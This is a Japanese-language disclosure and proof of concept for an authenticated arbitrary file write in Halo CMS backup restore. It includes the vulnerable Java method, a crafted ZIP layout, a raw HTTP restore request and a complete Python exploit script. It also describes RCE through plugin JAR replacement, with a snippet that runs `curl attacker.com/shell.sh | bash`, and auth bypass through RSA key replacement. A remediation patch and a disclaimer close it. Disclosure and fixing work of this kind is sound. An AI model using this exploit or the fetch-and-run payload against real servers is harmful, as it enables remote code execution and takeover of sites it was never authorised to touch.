
Halo CMSのバックアップ復元における任意ファイル書き込み脆弱性の概念実証エクスプロイトで、プラグインJARの置換によるRCEまたは認証バイパスを可能にします。
Halo CMS バージョン 2.25.4 以前のバックアップ復元機能には、重大な任意ファイル書き込みの脆弱性が存在します。MigrationServiceImpl.java の restoreWorkdir() メソッドは、ユーザーが提供したバックアップアーカイブから workdir/ ディレクトリを、ファイルタイプの検証、パストラバーサル対策、シンボリックリンクのチェックを一切行わずに、Halo アプリケーションの作業ディレクトリ(~/.halo2/)へ直接コピーします。バックアップ管理権限を持つ認証済み攻撃者は、workdir/ ディレクトリに任意のファイルを含む悪意のあるバックアップ ZIP ファイルを作成でき、復元時にサーバーの作業ディレクトリへ書き込まれます。これにより、プラグイン JAR の置き換えによるリモートコード実行(RCE)や、RSA キーの置き換えによる認証バイパスが発生する可能性があります。
CVSS v3.1 スコア: 8.8(高)
CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73(ファイル名またはパスの外部制御)
この脆弱性は、MigrationServiceImpl.java の restoreWorkdir() メソッド(230〜243行目)に存在します:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VULNERABLE LINE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
copyRecursively() メソッド(Spring の FileSystemUtils)は、以下のチェックなしに再帰的コピーを実行します:
.. シーケンスのチェックなしこの脆弱性は、バックアップ復元エンドポイントを通じてトリガーされます:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
復元プロセスは以下の順序で実行されます:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → ZIP を一時ディレクトリに展開 │
│ 2. restoreExtensions() → extensions.data を復元 │
│ 3. restoreWorkdir() → workdir/ を ~/.halo2/ にコピー │
│ ↑ 任意のファイルが作業ディレクトリに書き込まれる │
└─────────────────────────────────────────────────────────────┘
悪意のあるバックアップ ZIP ファイルには以下が含まれている必要があります:
malicious-backup.zip
├── extensions.data # 必須: 空または有効な JSONL を含む
└── workdir/ # 必須: 内容が ~/.halo2/ にコピーされる
├── PWNED_BY_POC.txt # 概念実証マーカーファイル
├── plugins/ # RCE 用のプラグイン JAR
│ └── evil-plugin.jar # 悪意のあるプラグイン
└── keys/ # 認証バイパス用の RSA キー
├── pat_id_rsa # 悪意のある秘密鍵
└── pat_id_rsa.pub # 悪意のある公開鍵
restoreExtensions() が成功するには、extensions.data ファイルが有効である必要があります。有効な形式には以下が含まれます:
空ファイル: (空の内容)
空行: \n(改行のみ)
有効な JSONL: 各行に 1 つの ExtensionStore オブジェクト:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
ここで data は base64 エンコードされたコンテンツです。
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# 空の extensions.data(restoreExtensions の検証を通過)
zf.writestr('extensions.data', '\n')
# ~/.halo2/ に書き込む任意のファイル
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
フロントエンドのバックアップ管理アドレス:http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Halo サーバー上で
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/ に任意のファイルを書き込むことができます| 攻撃ベクトル | 対象ファイル | 影響 | 深刻度 |
|---|---|---|---|
| プラグイン JAR の置き換え | ~/.halo2/plugins/*.jar | リモートコード実行 | 重大 |
| RSA キーの置き換え | ~/.halo2/keys/pat_id_rsa | 認証バイパス | 重大 |
| テーマの置き換え | ~/.halo2/themes/* | 保存型 XSS | 高 |
| 設定の上書き | ~/.halo2/*.yaml | セキュリティ制御のバイパス | 高 |
攻撃者は、正規のプラグイン JAR を以下を含む悪意のある JAR に置き換えることができます:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// 任意のコマンドを実行
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
プラグインがロードされると、悪意のあるコードが Halo プロセスの権限で実行されます。
#!/usr/bin/env python3
"""
Halo CMS バックアップ復元 任意ファイル書き込み PoC
脆弱性: バックアップ復元 任意ファイル書き込み
CVSS: 8.8(高)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# PoC の実行
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Halo サーバー上で
cat ~/.halo2/PWNED_BY_POC.txt
restoreWorkdir() メソッドに検証を追加します:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// パストラバーサルの検証
checkDirectoryTraversal(backupRoot, workdir);
// シンボリックリンクの検証
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// 検証付きでコピー
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaこの脆弱性の開示は、セキュリティ研究目的のみを意図しています。著者は、この情報の誤用について一切の責任を負いません。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。